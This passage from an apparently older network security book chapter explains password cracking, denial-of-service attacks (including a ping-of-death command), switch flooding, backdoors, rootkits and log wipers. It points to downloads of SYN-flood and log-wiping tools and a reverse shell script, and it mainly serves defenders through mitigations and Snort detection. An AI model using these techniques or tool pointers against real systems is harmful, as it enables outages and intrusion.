of the letters. This usually makes a fairly difficult password; not so hard to
remember yet nearly impossible to crack. I also like to use some sort of
mnemonic for keeping the password for each system fresh in my mind.
Be aware that simply replacing letters with special characters is a well known
tactic among administrators and most cracking programs try these substitutions
early on.
While John the Ripper works well for UNIX-based machines, L0phtCrack is the
recommended tool for cracking Windows-based password files. The most current
incarnation of L0phtCrack is LC4. It is marketed as being a password auditing
and recovery application and is available for most every Windows release. The
only caveat to its use is that you are required to have administrator privileges
in order to run the application.
LC4 is not free. Though you do have a 15 day trial period before buying, a
license for a single machine costs $350. However, for administrators managing
several Windows systems and who have to periodically audit their security, LC4
provides useful information for securing the network. Unlike UNIX passwords,
most NT passwords do not use salts. This makes cracking the code easier and
faster for LC4. LC4 claims that, in most cases, within the first 10 minutes over
18% of all passwords on a typical system are cracked. 90% of all passwords are
recovered within 24 hours on a typical Pentium II/300. This includes the
Administrator and most Domain Admin passwords.
Denial of Service
There are some purely destructive methods of attacking systems. One of these is
a Denial of Service (DoS) attack. The basis behind a DoS attack is to deny a
victim’s machine all access to the outside as well as deny all outside hosts
connectivity to that machine as well. This is normally done by sending a flood
of ICMP or ping packets to the targeted box. If ping packets are normally denied
by that host’s firewall then similar backup tactics can be used. SYN requests,
crafted ICMP packets and applications that consume all the CPU’s power are
typical DoS-type attacks. For the very malicious a Distributed Denial of Service
(DDoS) attack involves the use of hundreds, if not thousands, of other machines
that together target a victim box with a flood of pings.
Consider a DoS attack similar to that of an ant swarm. One ant by itself is no
threat. It can easily be stepped on or brushed out of the way. The same applies
to a ping. But, should thousands of ants decide to swarm or, even worse, begin
biting they can quickly overpower even a large animal. Such is the case with a
DDoS attack. Millions of pings together quickly consume most network bandwidth
until nothing is left. However, attackers desiring to IP spoof a trusted host
may also use a DoS attack as a method of denying the trusted host from answering
another machine.
Due to the many different kinds of Denials of Service currently available on the
Internet, the default ruleset that comes with Snort has an entire section
devoted to DoS attacks. For most every possibility there is a matching rule.
When DoS attacks do occur (and they do occur quite often in several forms and
with varying levels of success), Snort quickly logs an alert. Check your Snort
logs often or employ ACID as a web interface. At the first sign of trouble
determine what type of attack is underway and thus mitigate the consequences or
at least minimize its effects. Check the rulesets included with Snort for a
brief listing of some of the many DoS and DDoS attacks Snort recognizes.
Let’s look at some of the more obvious tactics categorized as Denial of Service
attacks. The best type of machine on which to craft a DoS attack is UNIX-based.
Here you can set limits or assign variables to each ping packet. For example,
the command: ping -l 65527, sends out a ping packet with a data portion that is
65,527 octets long. Included with that packet is the header, which exceeds the
IP specification for the maximum packet size. This maximum size is set at 65,536
octets (1 octet being equal to 8 bits of data) along with a minimum of 20 octets
of IP header information and 0 or more octets of optional information. The rest
of the packet is data.
Some systems react unpredictably to an oversized ICMP packet such as this and
either lock up, freeze, crash or simply reboot. This is known as the Ping of
Death. It is a horribly antiquated attack, though it was potent at one time
against several Microsoft Windows versions.
Fortunately, most systems including nearly all Linux versions have been patched
against falling prey to this type of oversized packet. It was an issue for a
short time with Red Hat Linux 6.0, but subsequent releases and most users’
willingness to upgrade to the latest version quickly minimized its effects.
Most DoS attacks or intrusive events can be avoided if users would simply patch
their systems. The SQL Slammer worm that spread across the Internet in January
of 2003 in about 10 minutes exploited an older vulnerability. It targeted
Microsoft servers that should have been fixed several months previous with a
patch Microsoft had released in July of the previous year. The same goes for the
MSBlaster and Welchia worms that brought the Internet to its knees in August of
2003. Users had ample time to install and patch their systems against the
vulnerability.
Similar DoS attacks such as the Jolt2, discovered by BindView’s HackerShield
development team (http://razor.bindview.com/), are easily patchable with the
latest updates. The DoS is launched by sending out a steady stream of fragmented
packets. 150 packets per second is sufficient to cause the CPU performance to
spike at 100% so that no other processes run. Once the packets stop sending, the
machine resumes normal functions.
Another network-based Denial of Service attack that can result in an intrusion
attempt as well involves directed broadcast attacks. This is more commonly
referred to as a Smurf attack. It has its variants and offshoots such as the
Papasmurf and Fraggle attacks, the latter being a UDP-based cousin of Smurf.
This type of attack includes sending forged ICMP packets to broadcast addresses.
Normally the originating address is a forged addressed or spoofed IP from the
intended victim’s subnet. In this way, the attacker send out several pings to
the broadcast address of a system and all the machines in that subnet answer,
consuming the victim’s bandwidth or the true owner of the IP address used by the
attacker.
This type of attack has been compared to that of a corrupted “knock-knock” joke.
The attacker says “knock-knock” to an entire subnet and suddenly thousands of
voices answer, “Who’s there” overwhelming the victim’s system. Any network, no
matter how large or small, that responds to this type of broadcast query can
quickly become a perpetrator in a Smurf attack, whether intended or not. Best to
filter out ICMP messages at the network gateway, whether it is a firewall or
router. This may harm your own ability to monitor your system from outside if
you do not know what you are doing. But by filtering out pings so you are acting
as a good “Netizen” and protecting others.
Another type of attack which users should be aware of is the SYNflood attack.
This is initiated by sending a SYN packet to an intended victim, but no reply to
the SYN-ACK packet is sent back. These are classified as half-open TCP sessions.
The reply falls on deaf ears since the incoming address is normally spoofed and
has no place to go. Each SYN request ties up the victim’s server. Because each
machine can only handle a finite amount of open connections, it takes only a
little while for the victim’s queue to fill up.
There are many types of SYNflood tools available for download. Most are used by
“script kiddies”. Here are just a couple examples. Test them on your own
machines (if willing) to ensure you are not vulnerable. More are out there for
the taking.
Synflood.c
http://www.hackersclub.com/
sinful.c and synk4.c
http://www.anticode.com/
The best way to combat this for Linux systems is to implement TCP syncookie
support in the kernel. Enable this feature from the command line, provided it is
compiled into your kernel and run the command at boot time after the /proc file
system has loaded. It is easiest to simply add this line to the
/etc/rc.d/rc.local file.
# echo 1 >/proc/sys/net/ipv4/tcp_syncookies
Another method for stopping SYNflood attacks is to limit the number of embryonic
connections on the firewall. For example, the PIX firewall can accomplish this
easily by stating the number of current embryonic connections you want to a
particular subnet. This is the final numerical value at the end of most rules.
Inserting rules that filter out particular IP addresses is normally ineffective.
Remember, most attackers spoof their incoming IP address. If one address is
blocked they simply change tactics and use another.
The final DoS type of attack to examine here is macof, which comes with Dug
Song’s dsniff suite of tools. In normal switched networks packet traffic is
routed to their intended targets. In cases where the switch is secured and
ignores ARP packets you can use the macof tool to flood the switch. Due to the
limited CAM table size on some switches, when the switch is flooded above the
finite CAM table size limit the switch reverts to hub mode. This allows you to
monitor the local network traffic. Rather than being limited to a switched
network, any connected device including a laptop running in promiscuous mode can
better sniff packets and capture data.
Maintaining Control over Infected Systems
The first thing attackers do after gaining control of systems other than their
own is patch the compromised machine and close down all possible points of entry
to ensure no one else can take it over They then create backdoors and other
“pinhole” entry points so that if they are ever discovered and locked out they
have another method of regaining access. This is the most crucial aspect to
becoming a true cracker. The slightest slip-up and you reveal yourself to an
observant administrator. Stealth is of the essence. A cracker cannot be too
overt in what he does, otherwise he risks exposing himself to administrators who
pull the network plug.
However, to better secure your own network you as an administrator need to know
what to look for and be familiar with these stealthy methods. The next few
sections explain some of the means by which crackers maintain control over
compromised systems.
Backdoors
Backdoors are commonly implemented by both legitimate administrators and by
attackers who have taken control of a machine. Who of us, fearful that we might
forget the administrator or root password, has created another backup account
with the same privileges? Hopefully, not many of us are guilty of this. But, if
you are, have steps been taken to remove these security holes? Any form of
backdoor is yet another point of entry. Anything that allows a user access to a
system without going through the necessary security protocols is considered a
“backdoor”.
Some backdoors are also Trojan Horses. The program Back Orifice 2000 is one such
example. Normally, when installed it allows a lawful administrator to manage his
machine remotely. However, when it is bundled with another program or is hidden
deep within a file or piece of software, it ceases to be a backdoor, but is a
Trojan Horse that can be accessed from outside the network.
Applications with hidden Trojans may look just fine superficially, but it
actually contains a spyware program or access script for controlling the machine
remotely or launching some vicious attack against other systems. The site
Packetstormsecurity.com is perhaps the largest most comprehensive site for
locating and downloading backdoor applications, RootKits and security tools.
These include tools used for both auditing and cracking. It is never a bad thing
to be too familiar with the devices that can be used against you.
Trojan Horses and RootKits
A Trojan Horse is a separate concept from a backdoor, though not too dissimilar.
Disguised as an innocuous program, file or even image, it is a program that has
a sinister purpose. The person who wrote the Trojan hopes to attract the
attention of the user into using the program while in actuality it performs some
other malicious act. A few years ago it was CD-ROM writing software and later a
Windows version of SATAN. Those gullible users that installed it thought they
were getting a useful or fun tool when in reality all it did was wipe their hard
drive clean.
A similar thing happened with the “whack-a-mole” computer game that was
distributed and installed on many machines several years ago. Though users could
actually play a game, the program installed a copy of NetBus server 1.60 or 1.70
onto the system. NetBus is a spyware application that allows remote users to
monitor and log virtually every keystroke, web page or application run. It is
also nearly impossible to remove once it has been installed.
Some of the other malicious Trojan Horses and RootKits currently making their
rounds through the Internet are Sub7, Tini, VNC, Lrk6, T0rnkit, Knark, adore and
so forth. Those wishing to become more familiar with RootKits and how they
operate should visit rootkit.com. Be careful what you download and install on
your system. If you are willing to risk installing suspect applications, be
prepared to offer up your computer as a sacrifice at the altar of the pagan god,
fdisk and its cousin, format.
No section on RootKits would be complete with mentioning the RootKit checker,
chkrootkit. This application runs on most UNIX systems and looks for innocuous
programs or trojaned files that signal a RootKit has been installed. Check the
section in chapter 5 labeled “Checking for Rootkits” for more information on
decontaminating the system after you suspect a RootKit, other than one you
installed yourself, has been placed on your machine.
Hiding Your Tracks
Most crackers, if feel they are close to being discovered or if they sense the
impending doom of a pulled network plug, take the steps to hide their presence.
This includes wiping all traces of their occupation off the system. This is done
not only to avoid detection and legal action if their true IP address is found,
but also to keep secret the methods they employed to gain access. However, some
crackers and most “script kiddies” do not care and basically thumb their nose if
discovered. By the time they are found out they have already taken what they
want from your system and have compromised several others.
Those few who are very good at infiltration take care to conceal their methods
and hide all traces of their presence. They burrow so deep that all traces and
suspect backdoors may never be found. At a recent Infragard meeting I attended,
an upper-level FBI agent in charge of cyber-crime spoke to various security
administrators from the area. He related a case where crackers from some of the
former Soviet Republics had compromised so many systems and were so deeply
imbedded in certain financial institutions that cleaning the affected machines
would be more expensive that the amount of money being siphoned off. Starting
over from scratch and reformatting the drives was out of the question. The
managers could never be certain they had removed all traces or backdoors
installed by the crackers. The cost incurred by the cyber thieves is now viewed
as a necessary expenditure in order to keep their businesses operational.
Here are a few of the steps that you as a security administrator should take
when looking for “moles” or embedded programs within your systems. First,
install a monitoring system that alerts you to changes in specific files. A
program such as Tripwire does a decent job. For non-enterprise systems the free,
open source version is recommended. For systems that must be kept secure use the
commercial variety.
When probing your systems for security flaws, be on the look out for the
following tell-tale signs;
Hidden files or directories, especially directories that are named …/ or are
identifiable by three dots
Check for any other types of dot names in locations they would not be noticed.
Some of the more popular locations for hidden files are /dev, /tmp and /etc.
Look for edited or deleted log files. Always check the /var/log directory and
users’ .bash_history files. Crackers like to remove all evidence that they were
ever there.
Check log files that are not stored in ASCII format such as utmp, wtmp, btmp and
lastlog. Use something similar to the strings command to find known patterns
within these binary file formats.
Use a hacker’s tool such as remove.c by Simple Nomad, 1997 which removes entries
in binary files.
Some other binary log file editors are wtmped.c, marry.c, cloak.c, logwedit.c,
wzap.c and so forth. Consult the following location for more information:
http://www.packetstormsecurity.com/UNIX/penetration/log-wipers/.
Look for insidious applications that may be running in the background on your
system or that are set up to run at specific times. Programs such as these may
push out shell prompt to users outside your network using such innocuous
protocols as ICMP or port 80 or 53 while feigning normal web or DNS traffic. The
Reverse WWW Shell and Loki are two such applications that do exactly this. They
run on an internal host and then push out a prompt to a user outside the
network. The traffic appears as normal protocol and as such is usually ignored.
Snort normally detects rogue connection requests used by backdoors and Trojans.
Consult your logs frequently for these types of alerts if you suspect an
internal compromised host. Also, where you place your sensors may have
implications as to what you detect. Make certain there Snort sensors are
scattered throughout the network so that you can determine the point of
origination.
Preventive Maintenance
Given the many possibilities of infiltration and compromise of host systems, you
may think that there is no way to prevent anyone from overpowering your network
or machines. This is not the case. There are plenty of preventive steps you can
take as a security administrator to stop the majority of attacks. Knowing the
tools of the trade and acknowledging your own vulnerabilities is the first step
to securing your systems and network. Frequent the informative sites listed here
and any others that appear over time. Do not be lax in monitoring possible
exploits and patching your systems. This does not mean you should be overly
paranoid or suspect attacks at every instance. Finally, check your IDS logs
religiously. New signatures or alerts should be further investigated.
Even within your own network you cannot be too secure. Remove all protocols that
send files in the clear or are unencrypted. This includes migrating users off of
FTP, telnet and other plaintext protocols. Use OpenSSH or SSH2 instead along
with sftp. Also, use GnuPG or PGP for encrypting all email transactions.
If you want to find out more about what crackers are currently up to frequent
the IRC channels. Use X-Chat for Linux machines or mIRC for Windows machines.
Lurking is a potent method of listening and learning what others are doing. The
same applies to newsgroups. Subscribe to any group with the name “security” in
it. http://groups.google.com is a good starting place for locating useful groups
and posting messages for free.
Sites of Interest
The following lists the URL of each pertinent item mentioned in this chapter.
This list includes applications and web sites that contain white papers and
explanations.
AiroPeek
http://www.wildpackets.com/
Airscanner
http://www.airscanner.com/
AirSnort
http://airsnort.shmoo.com/
Broadband Reports
http://www.dslreports.com/scan
Cert
http://www.cert.org/
Cheops-ng
http://cheops-ng.sourceforge.net/
DoS Help
http://www.doshelp.com/dostest.htm
dsniff
http://www.monkey.org/~dugsong/dsniff/
ettercap
http://ettercap.sourceforge.net/
Firewalk
http://www.packetfactory.net/projects/firewalk/
fragroute
http://www.monkey.org/~dugsong/fragroute/
GnuPG
http://www.gnupg.org/
GovernmentSecurity.org
http://www.virusdot.org/index.php?module=defaultpwd&func=display&cid=1
ID Serve
http://grc.com/id/idserve.htm
IEEE OUI and Company_id Assignments
http://standards.ieee.org/regauth/oui/index.shtml
IP Calculator / IP Subnetting
http://jodies.de/ipcalc/
IP-Tools
http://www.ks-soft.net/ip-tools.eng/
ISECOM Security Tools
http://www.ideahamster.org/projects/operationaltools.htm
John the Ripper
http://www.openwall.com/john/
Kismet
http://kismetwireless.net/
libevent
http://www.monkey.org/~provos/libevent/
libdnet
http://libdnet.sourceforge.net/
libnet
http://www.packetfactory.net/projects/libnet/
libnids
http://www.packetfactory.net/projects/libnids/
LibWhisker
http://www.wiretrip.net/rfp/lw.asp
Loki
http://www.phrack.com/Archives/phrack51.tgz
MiniStumbler
http://www.netstumbler.com/
NetBus
http://www.netbus.org/
http://www.nwinternet.com/~pchelp/nb/netbus.htm
Netcat
http://www.atstake.com/research/tools/network_utilities/
Network Stumbler
http://www.netstumbler.com/
http://www.stumbler.net/
Network-Tools
http://www.network-tools.com/
Nessus
http://www.nessus.org/
Nikto
http://www.cirt.net/code/nikto.shtml
Nmap
http://www.insecure.org/nmap/
The Packetfactory
http://www.packetfactory.net/
OpenSSH
http://www.openssh.org/
Packetstromsecurity
http://packetstormsecurity.nl/
Pocket Warrior
http://www.pocketwarrior.org/
Razor Security
http://razor.bindview.com/
Reverse WWW Shell
http://www.megasecurity.org/Sources/rwwwshell-1_6_perl.txt
Sam Spade
http://www.samspade.org/
SecurityFocus
http://www.securityfocus.com/
Sniffit
http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
Snort-Wireless
http://ingsoc.net/snort-wireless/
Snot
http://www.stolenshoes.net/sniph/index.html
SSL Proxy
http://www.obdev.at/products/ssl-proxy/index.html
Stick
http://www.eurocompton.net/stick/projects8.html
Tripwire
http://www.tripwire.com/
(Open Source) Tripwire
http://www.tripwire.org/
Virusdot.org
http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php
wepcrack
http://sourceforge.net/projects/wepcrack/
Whisker+SSL
http://www.digitaloffense.net/
Win Nuke Test Page
http://www.jtan.com/resources/winnuke.html
All applications and links are listed alphabetically and not in the order in
which they appear in this chapter. Also, some applications and links are not
specifically mentioned in this chapter, but may be required by associated
applications. Links are provided should the default Linux application not
automatically install these programs.
Summary
While this chapter explained many of the tools and tricks used by crackers to
exploit machines, it also laid out some suggested measures to take for securing
your own systems. It explained what to look for in the Snort logs for most
intrusive attempts or attacks. In order to understand the ways of the cracker,
you must think and act like a cracker. Exercise caution when using these tools.
You do not want to inadvertently hack into management’s file server or take out
your own systems. Use a test network to familiarize yourself with the methods
and tactics of crackers and how these tools can be of benefit to you. Use your
IDS application or tcpdump to sniff out new exploits, capture new logs and write
your own signatures.
The next chapter explains how to setup and configure a network intrusion
detection system or NIDS. We use Snort, ACID and SnortCenter for sniffing
packets while logging that data to a MySQL database. ACID provides a web
interface for administrators to view and manage all suspicious packets. We also
look at SnortCenter, a web tool for managing the installation and use of a
management console as well as multiple remote sensors strategically placed
throughout the network.
[ 30F ]
[ Prev Page | Goto Content | Next Page ]
